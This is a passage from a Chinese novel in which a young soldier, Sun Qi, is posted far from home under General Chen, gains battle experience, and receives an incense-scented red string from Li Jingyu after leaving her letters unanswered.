陈将军捋了捋胡子,说起往事云淡风轻。似想到什么,他对孙祈微微眯着眼笑,“你是第一次离家那么远那么久?” 孙祈颔首,“是。” 陈将军:“这样的日子还要过很多年,你要学会慢慢习惯,无聊了可以找我,或是你们的总指挥,他是我带大的,对战事谋略极为熟悉,有不懂的地方可以问他。” 孙祈应道:“是,将军。” 过完年,离开之期终将到来,待到开春化冰,他们就能整装返乡了。期间,孙祈随陈将军部下抵御了几批恶意侵扰的外敌,在实战中不断累积经验,见血不再慌张,异常平静。 出兵频繁,孙祈腾不出时间给李惊玉回信,那送来的几封信,不知何时才能拆开细看。 回音未果,李惊玉没再写信过来,而是送了一条氲着香火气的红绳。 孙祈不知其意,把它戴在左手上,打了死结。